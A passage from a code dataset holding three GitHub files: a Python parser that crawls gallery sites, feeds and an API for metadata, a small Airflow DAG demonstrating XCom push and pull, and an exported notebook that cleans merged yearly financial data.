link_from_gid_token_fjord, map_external_gallery_data_to_internal, \\\n get_gid_token_from_link, root_gid_token_from_link, SearchHTMLParser\nfrom . import constants\nfrom . import utilities\n\nif typing.TYPE_CHECKING:\n from viewer.models import WantedGallery\n from core.base.setup import Settings\n\nlogger = logging.getLogger(__name__)\n\n\nclass Parser(BaseParser):\n name = constants.provider_name\n accepted_urls = [constants.ex_page_short, constants.ge_page_short, constants.rss_url]\n\n def __init__(self, settings: 'Settings'):\n\n super().__init__(settings)\n\n self.api_request_function = request_by_provider(\n self.name, self.own_settings.api_concurrent_limit, self.own_settings.api_wait_limit\n )\n\n # Panda only methods\n def get_galleries_from_page_links(self, page_links: Iterable[str], page_links_results: list[DataDict]) -> None:\n\n api_page_links = []\n\n for page_link in page_links:\n\n m = re.search(r'(.+)/s/(\\w+)/(\\d+)-(\\d+)', page_link)\n if not m:\n continue\n api_page_links.append(\n {'data': [m.group(3), m.group(2), m.group(4)]})\n\n api_page_links_chunks = list(chunks(api_page_links, 25))\n\n for i, group in enumerate(api_page_links_chunks):\n\n data = {\n 'method': 'gtoken',\n 'pagelist': [x['data'] for x in group]}\n\n headers = {'Content-Type': 'application/json'}\n\n request_dict = construct_request_dict(self.settings, self.own_settings)\n request_dict['headers'] = {**headers, **self.settings.requests_headers}\n request_dict['data'] = json.dumps(data)\n\n response = self.api_request_function(\n constants.ge_api_url,\n request_dict,\n post=True,\n )\n\n if not response:\n continue\n try:\n response_data = response.json()\n except (ValueError, KeyError):\n logger.error(\"Could not parse response to JSON: {}\".format(response.text))\n continue\n\n for gid_token_pair in response_data['tokenlist']:\n\n discard_approved, discard_message = self.discard_gallery_by_internal_checks(\n gallery_id=gid_token_pair['gid'],\n link=link_from_gid_token_fjord(gid_token_pair['gid'], gid_token_pair['token'], False)\n )\n\n if discard_approved:\n if not self.settings.silent_processing:\n logger.info(discard_message)\n continue\n\n page_links_results.append(\n {'data': (gid_token_pair['gid'], gid_token_pair['token']),\n 'link': link_from_gid_token_fjord(gid_token_pair['gid'], gid_token_pair['token'], False)})\n\n def get_galleries_from_main_page_link(self, url: str) -> set[str]:\n\n unique_urls = set()\n\n while True:\n\n parsed = urllib.parse.urlparse(url)\n query = urllib.parse.parse_qs(parsed.query)\n if 'page' in query:\n current_page = int(query['page'][0])\n else:\n params = {'page': ['0']}\n query.update(params)\n new_query = urllib.parse.urlencode(query, doseq=True)\n url = urllib.parse.urlunparse(\n list(parsed[0:4]) + [new_query] + list(parsed[5:]))\n current_page = 0\n\n request_dict = construct_request_dict(self.settings, self.own_settings)\n\n response = request_with_retries(\n url,\n request_dict,\n post=False,\n )\n\n if not response:\n logger.info(\"Got no response, stopping\")\n break\n\n response.encoding = 'utf-8'\n\n if 'No hits found' in response.text:\n logger.info(\"Empty page found, ending\")\n break\n else:\n logger.info(\n \"Got content on search page {}, looking for galleries and jumping \"\n \"to the next page. Link: {}\".format(current_page, url)\n )\n main_page_parser = SearchHTMLParser()\n main_page_parser.feed(response.text)\n logger.info(\"Number of galleries found: {}\".format(len(main_page_parser.galleries)))\n if len(main_page_parser.galleries) >= 1:\n for gallery_url in main_page_parser.galleries:\n unique_urls.add(gallery_url)\n else:\n logger.info(\"Empty page found, ending\")\n break\n if self.own_settings.stop_page_number is not None:\n if current_page >= self.own_settings.stop_page_number:\n logger.info(\n \"Got to stop page number: {}, \"\n \"ending (setting: provider.stop_page_number).\".format(self.own_settings.stop_page_number)\n )\n break\n current_page += 1\n params = {'page': [str(current_page)]}\n query.update(params)\n new_query = urllib.parse.urlencode(query, doseq=True)\n url = urllib.parse.urlunparse(\n list(parsed[0:4]) + [new_query] + list(parsed[5:]))\n time.sleep(self.own_settings.wait_timer)\n\n return unique_urls\n\n def get_galleries_from_lofi_page_link(self, url: str) -> set[str]:\n\n unique_urls = set()\n\n while True:\n parsed = urllib.parse.urlparse(url)\n query = urllib.parse.parse_qs(parsed.query)\n if 'page' in query:\n current_page = int(query['page'][0])\n else:\n params = {'page': ['0']}\n query.update(params)\n new_query = urllib.parse.urlencode(query, doseq=True)\n url = urllib.parse.urlunparse(\n list(parsed[0:4]) + [new_query] + list(parsed[5:]))\n current_page = 0\n\n request_dict = construct_request_dict(self.settings, self.own_settings)\n\n response = request_with_retries(\n url,\n request_dict,\n post=False,\n )\n\n if not response:\n logger.info(\"Got no response, stopping\")\n break\n\n response.encoding = 'utf-8'\n\n if 'No hits found' in response.text:\n logger.info(\"Empty page found, ending\")\n break\n else:\n logger.info(\n \"Got content on search page {}, looking for galleries and jumping \"\n \"to the next page. Link: {}\".format(current_page, url)\n )\n current_found_links = []\n soup = BeautifulSoup(response.text, 'html.parser')\n gallery_containers = soup.findAll(\"td\", class_=\"ii\")\n for gallery_container in gallery_containers:\n link_container = gallery_container.find(\"a\")\n if link_container:\n found_link = link_container.get(\"href\").replace(\"lofi/\", \"\")\n current_found_links.append(found_link)\n logger.info(\"Number of galleries found: {}\".format(len(current_found_links)))\n if len(current_found_links) >= 1:\n for gallery_url in current_found_links:\n unique_urls.add(gallery_url)\n else:\n logger.info(\"Empty page found, ending\")\n break\n if self.own_settings.stop_page_number is not None:\n if current_page >= self.own_settings.stop_page_number:\n logger.info(\n \"Got to stop page number: {}, \"\n \"ending (setting: provider.stop_page_number).\".format(self.own_settings.stop_page_number)\n )\n break\n current_page += 1\n params = {'page': [str(current_page)]}\n query.update(params)\n new_query = urllib.parse.urlencode(query, doseq=True)\n url = urllib.parse.urlunparse(\n list(parsed[0:4]) + [new_query] + list(parsed[5:]))\n time.sleep(self.own_settings.wait_timer)\n\n return unique_urls\n\n def get_values_from_gallery_link_list(self, url_list: Iterable[str], use_fjord: bool = False) -> list[GalleryData]:\n\n gid_token_chunks = list(chunks([get_gid_token_from_link(link) for link in url_list], 25))\n\n galleries_data = []\n\n if self.own_settings.cookies and use_fjord:\n api_page = constants.ex_api_url\n else:\n api_page = constants.ge_api_url\n\n for i, group in enumerate(gid_token_chunks):\n\n if not self.settings.silent_processing:\n logger.info(\n \"Calling API ({}), URL: {}. \"\n \"Gallery group: {}, galleries in group: {}, total groups: {}\".format(\n self.name,\n api_page,\n i + 1,\n len(group),\n len(gid_token_chunks)\n )\n )\n\n data = utilities.request_data_from_gid_token_iterable(group)\n\n headers = {'Content-Type': 'application/json'}\n\n request_dict = construct_request_dict(self.settings, self.own_settings)\n request_dict['headers'] = {**headers, **self.settings.requests_headers}\n request_dict['data'] = json.dumps(data)\n\n response = self.api_request_function(\n api_page,\n request_dict,\n post=True,\n )\n\n if not response:\n continue\n\n try:\n response_data = response.json()\n except (ValueError, KeyError):\n logger.error(\"Could not parse response to JSON: {}\".format(response.text))\n continue\n\n for gallery_data in response_data['gmetadata']:\n if 'error' in gallery_data:\n logger.error(\n \"Fetching gallery {}: \"\n \"failed with error: {}\".format(gallery_data['gid'], gallery_data['error'])\n )\n continue\n internal_gallery_data = map_external_gallery_data_to_internal(gallery_data)\n if use_fjord and internal_gallery_data.fjord:\n internal_gallery_data.root = constants.ex_page\n internal_gallery_data.link = link_from_gid_token_fjord(\n gallery_data['gid'], gallery_data['token'], True\n )\n else:\n internal_gallery_data.root = constants.ge_page\n internal_gallery_data.link = link_from_gid_token_fjord(\n gallery_data['gid'], gallery_data['token'], False\n )\n galleries_data.append(internal_gallery_data)\n\n return galleries_data\n\n def get_values_from_gallery_link(self, link: str) -> Optional[GalleryData]:\n\n link_root, gid, token = root_gid_token_from_link(link)\n\n if link_root is None or gid is None or token is None:\n return None\n\n if self.own_settings.use_ex_for_fjord and self.own_settings.cookies and link_root == constants.ex_api_url:\n api_page = constants.ex_api_url\n else:\n api_page = constants.ge_api_url\n\n data = utilities.request_data_from_gid_token_iterable([(gid, token)])\n\n headers = {'Content-Type': 'application/json'}\n\n request_dict = construct_request_dict(self.settings, self.own_settings)\n request_dict['headers'] = {**headers, **self.settings.requests_headers}\n request_dict['data'] = json.dumps(data)\n\n response = self.api_request_function(\n api_page,\n request_dict,\n post=True,\n )\n\n if not response:\n return None\n try:\n response_data = response.json()\n except (ValueError, KeyError):\n logger.error(\"Could not parse response to JSON: {}\".format(response.text))\n return None\n for gallery_data in response_data['gmetadata']:\n if 'error' in gallery_data:\n logger.error(\n \"Adding gallery {}: \"\n \"failed with error: {}\".format(gallery_data['gid'], gallery_data['error'])\n )\n return None\n internal_gallery_data = map_external_gallery_data_to_internal(gallery_data)\n return internal_gallery_data\n return None\n\n def get_feed_urls(self) -> list[str]:\n return [constants.rss_url, ]\n\n def crawl_feed(self, feed_url: str = '') -> list[str]:\n\n urls: list[str] = []\n\n if not feed_url:\n feed_url = constants.rss_url\n\n request_dict = construct_request_dict(self.settings, self.own_settings)\n\n response = request_with_retries(\n feed_url,\n request_dict,\n post=False,\n )\n\n if not response:\n logger.error(\"Got no response from feed URL: {}\".format(feed_url))\n return urls\n\n response.encoding = 'utf-8'\n\n feed = feedparser.parse(\n response.text\n )\n\n for item in feed['items']:\n if self.own_settings.accepted_rss_categories:\n if any([item['title'].startswith(category) for category in self.own_settings.accepted_rss_categories]):\n urls.append(item['link'])\n else:\n urls.append(item['link'])\n return urls\n\n def fetch_gallery_data(self, url: str) -> Optional[GalleryData]:\n return self.get_values_from_gallery_link(url)\n\n def fetch_multiple_gallery_data(self, url_list: list[str]) -> list[GalleryData]:\n return self.get_values_from_gallery_link_list(url_list)\n\n @staticmethod\n def id_from_url(url: str) -> Optional[str]:\n m = re.search(r'(.+)/g/(\\d+)/(\\w+)', url)\n if m and m.group(2):\n return m.group(2)\n else:\n return None\n\n @staticmethod\n def token_from_url(url: str) -> Optional[str]:\n m = re.search(r'(.+)/g/(\\d+)/(\\w+)', url)\n if m and m.group(3):\n return m.group(3)\n else:\n return None\n\n def crawl_urls(self, urls: list[str], wanted_filters: Optional[QuerySet] = None, wanted_only: bool = False,\n preselected_wanted_matches: Optional[dict[str, list['WantedGallery']]] = None) -> None:\n\n unique_urls = set()\n gallery_data_list = []\n fetch_format_galleries: list[DataDict] = []\n unique_page_urls = set()\n gallery_wanted_lists: dict[str, list['WantedGallery']] = preselected_wanted_matches or defaultdict(list)\n\n if not self.downloaders:\n logger.warning('No downloaders enabled, returning.')\n return\n\n for url in urls:\n\n if constants.rss_url in url:\n feed_links = self.crawl_feed(url)\n unique_urls.update(feed_links)\n logger.info(\"Provided RSS URL for provider ({}), adding {} found links\".format(\n self.name,\n len(feed_links))\n )\n continue\n\n if (constants.ex_page_short not in url\n and constants.ge_page_short not in url):\n logger.warning(\"Invalid URL, skipping: {}\".format(url))\n continue\n\n if '/g/' in url:\n if not self.settings.silent_processing:\n logger.info(\"Provided URL {} is a gallery link, adding\".format(url))\n unique_urls.add(url)\n continue\n\n if '/s/' in url:\n if not self.settings.silent_processing:\n logger.info(\"Provided URL {} is a page link, adding\".format(url))\n unique_page_urls.add(url)\n continue\n\n # Do not crawl main page links if they were submitted anonymously, to prevent spam.\n if len(self.downloaders) == 1 and self.downloaders[0][0].type == 'submit':\n continue\n\n if '/lofi/' in url:\n if not self.settings.silent_processing:\n logger.info(\"Provided URL {} is a lofi page link, adding\".format(url))\n unique_urls.update(self.get_galleries_from_lofi_page_link(url))\n continue\n\n # assuming main page URLs\n unique_urls.update(self.get_galleries_from_main_page_link(url))\n\n gallery_ids = []\n found_galleries = set()\n total_galleries_filtered = []\n for gallery_url in unique_urls:\n\n m = re.search(r'(.+)/g/(\\d+)/(\\w+)', gallery_url)\n if m:\n gallery_ids.append(m.group(2))\n total_galleries_filtered.append((gallery_url, m.group(1), m.group(2), m.group(3)))\n\n for galleries_gid_group in list(chunks(gallery_ids, 900)):\n for found_gallery in Gallery.objects.filter(gid__in=galleries_gid_group):\n discard_approved, discard_message = self.discard_gallery_by_internal_checks(\n gallery=found_gallery,\n link=found_gallery.get_link()\n )\n\n if discard_approved:\n if not self.settings.silent_processing:\n logger.info(discard_message)\n found_galleries.add(found_gallery.gid)\n\n for gallery_tuple in total_galleries_filtered:\n\n if gallery_tuple[2] not in found_galleries:\n fetch_format_galleries.append(\n {\n 'data': (gallery_tuple[2], gallery_tuple[3]),\n 'root': gallery_tuple[1],\n 'link': gallery_tuple[0]\n }\n )\n if not self.settings.silent_processing:\n logger.info(\n \"Gallery {} will be processed. \"\n \"Total galleries: {}\".format(gallery_tuple[0], len(fetch_format_galleries))\n )\n\n if len(unique_page_urls) > 0:\n logger.info(\"Getting gallery links from page links...\")\n page_links_results: list[DataDict] = []\n self.get_galleries_from_page_links(unique_page_urls, page_links_results)\n fetch_format_galleries += page_links_results\n\n if len(fetch_format_galleries) == 0:\n logger.info(\"No galleries need downloading, returning.\")\n return\n\n fetch_format_galleries_chunks = list(chunks(fetch_format_galleries, 25))\n fjord_galleries: list[str] = []\n for i, group in enumerate(fetch_format_galleries_chunks):\n if not self.settings.silent_processing:\n logger.info(\n \"Calling non-fjord API ({}). \"\n \"Gallery group: {}, galleries in group: {}, total groups: {}\".format(\n self.name,\n i + 1,\n len(group),\n len(fetch_format_galleries_chunks)\n )\n )\n\n data = utilities.request_data_from_gid_token_iterable([x['data'] for x in group])\n\n headers = {'Content-Type': 'application/json'}\n\n request_dict = construct_request_dict(self.settings, self.own_settings)\n request_dict['headers'] = {**headers, **self.settings.requests_headers}\n request_dict['data'] = json.dumps(data)\n\n response = self.api_request_function(\n constants.ge_api_url,\n request_dict,\n post=True,\n )\n\n if not response:\n continue\n\n try:\n response_data = response.json()\n except (ValueError, KeyError):\n logger.error(\"Could not parse response to JSON: {}\".format(response.text))\n continue\n\n for gallery_data in response_data['gmetadata']:\n if 'error' in gallery_data:\n logger.error(\n \"Adding gallery {}: \"\n \"failed with error: {}\".format(gallery_data['gid'], gallery_data['error'])\n )\n continue\n internal_gallery_data = map_external_gallery_data_to_internal(gallery_data)\n link = link_from_gid_token_fjord(gallery_data['gid'], gallery_data['token'], False)\n internal_gallery_data.link = link\n\n banned_result, banned_reasons = self.general_utils.discard_by_gallery_data(internal_gallery_data.tags, internal_gallery_data.uploader)\n\n if banned_result:\n if not self.settings.silent_processing:\n logger.info(\n \"Skipping gallery link {}, discarded reasons: {}\".format(\n link,\n banned_reasons\n )\n )\n continue\n\n if wanted_filters:\n self.compare_gallery_with_wanted_filters(\n internal_gallery_data,\n link,\n wanted_filters,\n gallery_wanted_lists\n )\n if wanted_only and not gallery_wanted_lists[internal_gallery_data.gid]:\n continue\n\n if self.own_settings.use_ex_for_fjord:\n m = re.search(constants.default_fjord_tags, \",\".join(internal_gallery_data.tags))\n\n if m and self.own_settings.cookies:\n fjord_galleries.append(link_from_gid_token_fjord(gallery_data['gid'], gallery_data['token'], True))\n else:\n gallery_data_list.append(internal_gallery_data)\n else:\n gallery_data_list.append(internal_gallery_data)\n\n if self.own_settings.use_ex_for_fjord and fjord_galleries:\n fjord_galleries_data = self.get_values_from_gallery_link_list(fjord_galleries, True)\n\n if fjord_galleries_data:\n gallery_data_list.extend(fjord_galleries_data)\n\n self.pass_gallery_data_to_downloaders(gallery_data_list, gallery_wanted_lists)\n\n def post_gallery_processing(self, gallery_entry: 'Gallery', gallery_data: 'GalleryData'):\n\n extra_gal_data = gallery_data.extra_data\n\n galleries_to_add: dict[str, list[str]] = defaultdict(list)\n\n if self.own_settings.auto_process_newer:\n if 'current_gid' in extra_gal_data and 'current_key' in extra_gal_data:\n current_url = link_from_gid_token_fjord(extra_gal_data['current_gid'], extra_gal_data['current_key'])\n\n logger.info(\n \"Gallery: {} has current in: {}, adding to queue\".format(\n gallery_entry.get_absolute_url(),\n current_url\n )\n )\n galleries_to_add[current_url] = []\n\n if self.own_settings.auto_process_first:\n if 'first_gid' in extra_gal_data and 'first_key' in extra_gal_data:\n first_url = link_from_gid_token_fjord(extra_gal_data['first_gid'], extra_gal_data['first_key'])\n\n logger.info(\n \"Gallery: {} has first in: {}, adding to queue\".format(\n gallery_entry.get_absolute_url(),\n first_url\n )\n )\n galleries_to_add[first_url].extend(['--link-newer', str(gallery_entry.gid)])\n\n if self.own_settings.auto_process_parent:\n if 'parent_gid' in extra_gal_data and 'parent_key' in extra_gal_data:\n parent_url = link_from_gid_token_fjord(extra_gal_data['parent_gid'], extra_gal_data['parent_key'])\n\n logger.info(\n \"Gallery: {} has parent in: {}, adding to queue\".format(\n gallery_entry.get_absolute_url(),\n parent_url\n )\n )\n galleries_to_add[parent_url].extend(['--link-child', str(gallery_entry.gid)])\n\n if self.settings.workers.web_queue and galleries_to_add:\n list_galleries_to_add = [[x] + galleries_to_add[x] for x in galleries_to_add.keys()]\n for gallery_to_add in list_galleries_to_add:\n self.settings.workers.web_queue.enqueue_args_list(gallery_to_add)\n\n def is_current_link_non_current(self, gallery_data: 'GalleryData') -> bool:\n if 'current_gid' in gallery_data.extra_data:\n return True\n return False\n\n\nAPI = (\n Parser,\n)\n","repo_name":"pandabuilder/pandachaika","sub_path":"core/providers/panda/parsers.py","file_name":"parsers.py","file_ext":"py","file_size_in_byte":25783,"program_lang":"python","lang":"en","doc_type":"code","stars":97,"dataset":"github-code","pt":"37"} +{"seq_id":"31133288793","text":"from airflow import DAG\nfrom datetime import datetime\nfrom airflow.operators import BashOperator, DummyOperator, PythonOperator\nfrom airflow.utils.dates import days_ago\nfrom datetime import timedelta\n\n\ndef push_function(ti, **kwargs):\n \"\"\"\n Simple Python Function to push value\n :return:\n \"\"\"\n a = 1\n b = 2\n c = a + b\n ti.xcom_push(key='c', value=c)\n return a+b\n\n\ndef receive_function(ti, **kwargs):\n \"\"\"\n to receive the value from XCOM\n :param ti: cross function element\n :return:\n \"\"\"\n output = ti.xcom_pull(key='c', task_ids=['Xcom_Push'])\n print(output)\n\n\ndag_arguments = {\n 'Owner': 'Sai',\n 'depends_on_past': False,\n 'retries': 1,\n 'retry_delay': timedelta(minutes=5)\n}\n\ndag = DAG(\n dag_id='Xcom_Push_Pull',\n default_args=dag_arguments,\n description='A simple tutorial DAG',\n schedule_interval=timedelta(days=1),\n start_date=days_ago(2)\n)\n\ndummy_task = DummyOperator(\n task_id='Start',\n dag=dag\n)\n\npush_task = PythonOperator(\n task_id='Xcom_Push',\n python_callable=push_function,\n provide_context=True,\n dag=dag\n)\n\npull_task = PythonOperator(\n task_id='Xcom_Pull',\n python_callable=receive_function,\n provide_context=True,\n dag=dag\n)\n\ndummy_task >> push_task >> pull_task","repo_name":"saiprashanthts1995/Airflow_Project","sub_path":"Dags/xcom_push_pull.py","file_name":"xcom_push_pull.py","file_ext":"py","file_size_in_byte":1282,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"32520263708","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[1]:\n\n\nimport numpy as np\nimport pandas as pd\nimport scipy\nimport seaborn as sns\n\nimport missingno as msno\n\n# pd.set_option('display.max_columns', None)\n# pd.set_option('display.max_rows', None)\n\nimport matplotlib.pyplot as plt\nget_ipython().run_line_magic('matplotlib', 'inline')\n\nimport warnings\n\nwarnings.filterwarnings(\"ignore\")\n\nimport sklearn.preprocessing\nfrom sklearn import metrics\nfrom sklearn.metrics import classification_report, confusion_matrix\nfrom sklearn.model_selection import KFold\nfrom sklearn.model_selection import cross_val_score\nfrom sklearn.model_selection import GridSearchCV\n\nfrom sklearn.tree import DecisionTreeClassifier\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.svm import SVC\n\nfrom sklearn.preprocessing import RobustScaler\nfrom sklearn.model_selection import train_test_split, GridSearchCV\nfrom sklearn.metrics import recall_score, accuracy_score, confusion_matrix, f1_score\nfrom sklearn.metrics import precision_score, auc, roc_auc_score, roc_curve, precision_recall_curve\n\nfrom sklearn.decomposition import PCA, IncrementalPCA\nfrom sklearn.svm import SVC\nfrom sklearn.tree import DecisionTreeClassifier\nfrom sklearn.ensemble import RandomForestClassifier, AdaBoostClassifier\n\nfrom sklearn.linear_model import Ridge, Lasso\nfrom sklearn.feature_selection import RFE\n# from xgboost import XGBClassifier\n\nfrom sklearn.linear_model import LogisticRegression\nimport statsmodels.api as sm\nfrom sklearn import metrics\n\nfrom sklearn.metrics import mean_squared_error\n\nfrom sklearn.ensemble import GradientBoostingClassifier #GBM algorithm\n# Training the model on the train data\nfrom sklearn.linear_model import LogisticRegression\nimport statsmodels.api as sm\nfrom sklearn import metrics\n\n\n\nfrom scipy.stats.mstats import winsorize\n\nfrom sklearn.preprocessing import MinMaxScaler\nfrom sklearn.preprocessing import StandardScaler \n\nfrom sklearn.decomposition import PCA\nfrom imblearn.over_sampling import SMOTE, RandomOverSampler as smot\nfrom imblearn.under_sampling import NearMiss, RandomUnderSampler\nfrom imblearn.combine import SMOTEENN, SMOTETomek\n\n\n# In[2]:\n\n\n# !pip install lazypredict\n\n\n# In[3]:\n\n\n# !pip uninstall scikit-learn -y\n\n\n# In[4]:\n\n\n# !pip install scikit-learn==0.23.1\n\n\n# In[5]:\n\n\n# import lazypredict\n\n\n# In[6]:\n\n\n# from lazypredict.Supervised import LazyClassifier\n\n\n# In[7]:\n\n\n# from lazypredict.Supervised import LazyClassifier\n# from sklearn.datasets import load_diabetes\n# from sklearn.model_selection import train_test_split\n# # from lazypredict.Supervised import LazyRegressor\n# # from sklearn import datasets\n# from sklearn.utils import shuffle\n# # import numpy as np\n\n\n# ### Reading CSV files\n\n# In[8]:\n\n\ndf_2014 = pd.read_csv(\"2014_Financial_Data.csv\")\ndf_2015 = pd.read_csv(\"2015_Financial_Data.csv\")\ndf_2016 = pd.read_csv(\"2016_Financial_Data.csv\")\ndf_2017 = pd.read_csv(\"2017_Financial_Data.csv\")\ndf_2018 = pd.read_csv(\"2018_Financial_Data.csv\")\n\n\n# In[9]:\n\n\nnasdaq = pd.read_csv(\"nasdaq.csv\")\n\n\n# In[10]:\n\n\nnasdaq.shape\n\n\n# In[11]:\n\n\nnasdaq.columns\n\n\n# In[12]:\n\n\nnasdaq.head()\n\n\n# In[13]:\n\n\nnasdaq.drop('Name', axis=1, inplace=True)\n\n\n# In[14]:\n\n\ndf_2014.shape\n\n\n# In[15]:\n\n\ndf_2015.shape\n\n\n# In[16]:\n\n\ndf_2016.shape\n\n\n# In[17]:\n\n\ndf_2017.shape\n\n\n# In[18]:\n\n\ndf_2018.shape\n\n\n# In[19]:\n\n\ndf_2014['Year'] = 2014\ndf_2015['Year'] = 2015\ndf_2016['Year'] = 2016\ndf_2017['Year'] = 2017\ndf_2018['Year'] = 2018\n\n\n# In[20]:\n\n\ndf_2014.columns\n\n\n# In[21]:\n\n\ndf_2014.rename(columns={'2015 PRICE VAR [%]':'Next_Year_Price_Var[%]'}, inplace=True)\ndf_2015.rename(columns={'2016 PRICE VAR [%]':'Next_Year_Price_Var[%]'}, inplace=True)\ndf_2016.rename(columns={'2017 PRICE VAR [%]':'Next_Year_Price_Var[%]'}, inplace=True)\ndf_2017.rename(columns={'2018 PRICE VAR [%]':'Next_Year_Price_Var[%]'}, inplace=True)\ndf_2018.rename(columns={'2019 PRICE VAR [%]':'Next_Year_Price_Var[%]'}, inplace=True)\n\n\n# In[22]:\n\n\ndf = pd.concat([df_2014, df_2015, df_2016, df_2017, df_2018], axis = 0)\n\n\n# In[23]:\n\n\ndf.shape\n\n\n# In[24]:\n\n\ndf.columns\n\n\n# In[25]:\n\n\ndf.head()\n\n\n# In[26]:\n\n\ndf.rename(columns={\"Unnamed: 0\": \"Symbol\"}, inplace=True)\n# df_2014.rename(columns={'2015 PRICE VAR [%]':'Next_Year_Price_Var[%]'}, inplace=True)\n\n\n# In[27]:\n\n\ndf = pd.merge(df, nasdaq, how=\"inner\", on=\"Symbol\")\n\n\n# In[28]:\n\n\ndf.shape\n\n\n# In[29]:\n\n\ndf.head()\n\n\n# In[30]:\n\n\ndf.Country.value_counts()\n\n\n# In[31]:\n\n\ndf.Country.isnull().sum()\n\n\n# In[ ]:\n\n\n\n\n\n# In[32]:\n\n\n#Next_Year_Price_Var[%] +ve ---> class = 1, if -ve -----> class = 0\ndf.drop('Next_Year_Price_Var[%]', axis=1, inplace=True)\n\n\n# In[33]:\n\n\ndf.rename(columns={\"Symbol\":\"Name\"}, inplace=True)\n\n\n# In[34]:\n\n\ndf.Name.nunique()\n\n\n# In[35]:\n\n\ndf.shape\n\n\n# In[36]:\n\n\ndf.info\n\n\n# In[37]:\n\n\ndf.describe()\n\n\n# In[38]:\n\n\n## Removing \"Year\" because our future companies will have different years and it should not affect our final call\ndf.drop(\"Year\", axis=1, inplace=True)\n\n\n# In[39]:\n\n\n## Removing \"Name\" because our future companies will have different Name and it should not affect our final call\ndf.drop(\"Name\", axis=1, inplace=True)\n\n\n# In[40]:\n\n\ndf.head(2)\n\n\n# In[41]:\n\n\ndf.loc[(df.Country==\"United States\")].shape\n\n\n# In[42]:\n\n\ndf.loc[(df.Country==\"United States\")]\n\n\n# In[43]:\n\n\n# Selecting only United States\n\n\n# In[44]:\n\n\ndf = df.loc[(df.Country==\"United States\")]\n\n\n# In[45]:\n\n\ndf.drop('Country', axis=1, inplace=True)\n\n\n# ### Understanding Null Value Distribution\n\n# In[46]:\n\n\ndf.isnull().sum().sort_values(ascending=False)\n\n\n# In[47]:\n\n\n(df.isnull().sum() * 100 / len(df)).sort_values(ascending=False)\n\n\n# In[48]:\n\n\n(df.isnull().sum() * 100 / len(df)).sort_values(ascending=True).head(15)\n\n\n# In[49]:\n\n\n# all cols have some null values\nlen(df.isnull().any())\n\n\n# In[50]:\n\n\n# No columns with all null values\ndf.columns[df.isnull().all()]\n\n\n# In[51]:\n\n\n# Defining a funtion to add the count/frequency values as annotation to histogram.\ndef annotate_graph(ax):\n for bar in ax.patches: \n ax.annotate(format((bar.get_height()), '.0f'), \n (bar.get_x() + bar.get_width() / 2, bar.get_height()), \n ha='center', va='center', \n size=10, xytext=(0, 8), \n textcoords='offset points')\n return ax\n\n\n# In[52]:\n\n\n# Plotting histogram for the dataframe and columns having null values.\nplt.figure(figsize=(28,10))\n\nax = sns.histplot(round((df.isnull().sum()/len(df.index) * 100).sort_values(ascending=False), 2))\nax = annotate_graph(ax)\n\nax.set(xticks=np.arange(0,101))\nax.set(xlabel='Null value percentage', ylabel='Count of columns with null values')\nsns.despine()\nplt.tight_layout()\n\n\n# In[53]:\n\n\nmsno.matrix(df)\n\n\n# In[54]:\n\n\n# defining a function to get more than cutoff percent missing value\n\ndef get_missing_value_percentage(cutoff):\n y = pd.DataFrame( round((df.isnull().sum()/len(df.index) * 100).sort_values(ascending=False), 2))\n y.rename(columns={0:\"Percentage\"}, inplace=True)\n y2 = y[y.Percentage>cutoff]\n return y2\n\n\n# In[55]:\n\n\n# get columns with more than 70% missing values\ngreater_than_70 = get_missing_value_percentage(70)\n\n\n# In[56]:\n\n\nlen(greater_than_70)\n\n\n# In[57]:\n\n\ngreater_than_70\n\n\n# In[58]:\n\n\n# get columns with more than 50% missing values\ngreater_than_50 = get_missing_value_percentage(50)\n\n\n# In[59]:\n\n\nlen(greater_than_50)\n\n\n# In[60]:\n\n\ngreater_than_50\n\n\n# In[61]:\n\n\n# get columns with more than 20% missing values\ngreater_than_20 = get_missing_value_percentage(20)\ngreater_than_20\n\n\n# ### Removing Null Values\n\n# In[62]:\n\n\n# function to drop cols which have more than 20% null values\n\ndef remove_cols_with_nulls (df, threshold):\n myCol = list(df.columns)\n for col in myCol: \n percentage = (df[col].isnull().sum()/len(df[col]))*100\n if percentage>threshold:\n df.drop(col, axis=1, inplace=True)\n\n\n# In[63]:\n\n\ndf.shape\n\n\n# In[64]:\n\n\nremove_cols_with_nulls(df, 20)\n\n\n# In[65]:\n\n\ndf.shape\n\n\n# In[66]:\n\n\nlen(df.columns[(df.isnull().any())])\n\n\n# In[67]:\n\n\n# Deleting rows with any null value\ndf.dropna(how='all',axis=0, inplace=True) \n\n\n# In[68]:\n\n\n# Therefore, there is no row will all NULL values\ndf.shape\n\n\n# In[69]:\n\n\n# Deleting rows with any null value\ndf.dropna(how='any',axis=0, inplace=True) \n\n\n# In[70]:\n\n\ndf.shape\n\n\n# In[71]:\n\n\nmsno.matrix(df)\n\n\n# In[72]:\n\n\ndf.isnull().any().sum()\n\n\n# In[73]:\n\n\ndf.columns\n\n\n# In[74]:\n\n\ndf.select_dtypes('number')\n\n\n# In[75]:\n\n\ndf['R&D Expenses'].value_counts()\n\n\n# In[76]:\n\n\ndf.shape[0]\n\n\n# In[77]:\n\n\ndf['R&D Expenses'].value_counts(normalize=True).sort_values(ascending=False)[0]\n\n\n# In[78]:\n\n\n# more than 50% value of R&D expense is 0. Remove numeric cols with dominant values\n\n\n# In[79]:\n\n\ndf.operatingProfitMargin.value_counts().sort_values(ascending=False).iloc[0]\n\n\n# In[80]:\n\n\n#Code goes to except block when single value is met ---> which is SERIES and you cannot do simple indexing in SERIES\n\n\n# In[81]:\n\n\ncounter = 0\nfor col in list(df.select_dtypes('number').columns):\n try: \n val = df[col].value_counts(normalize=True).sort_values(ascending=False)[0]\n if(val>0.5):\n df.drop(col, axis=1, inplace=True)\n counter = counter+1\n except:\n val = df[col].value_counts(normalize=True).sort_values(ascending=False).iloc[0]\n if(val>0.5):\n df.drop(col, axis=1, inplace=True)\n counter = counter+1\n \n \nprint(\"Total Columns Deleted = \",counter)\n\n\n# In[82]:\n\n\ndf.shape\n\n\n# In[83]:\n\n\ndf.columns\n\n\n# In[84]:\n\n\ndf.select_dtypes(include='number')\n\n\n# In[85]:\n\n\ndf.select_dtypes(include='object')\n\n\n# In[86]:\n\n\ndf.select_dtypes(include='number').shape\n\n\n# In[87]:\n\n\ndf.select_dtypes(include='object').shape\n\n\n# In[88]:\n\n\ndf.select_dtypes(include='category').shape\n\n\n# In[89]:\n\n\ndf.shape\n\n\n# In[90]:\n\n\n# 155 cols ----> 154 number, 1 Object\n\n\n# 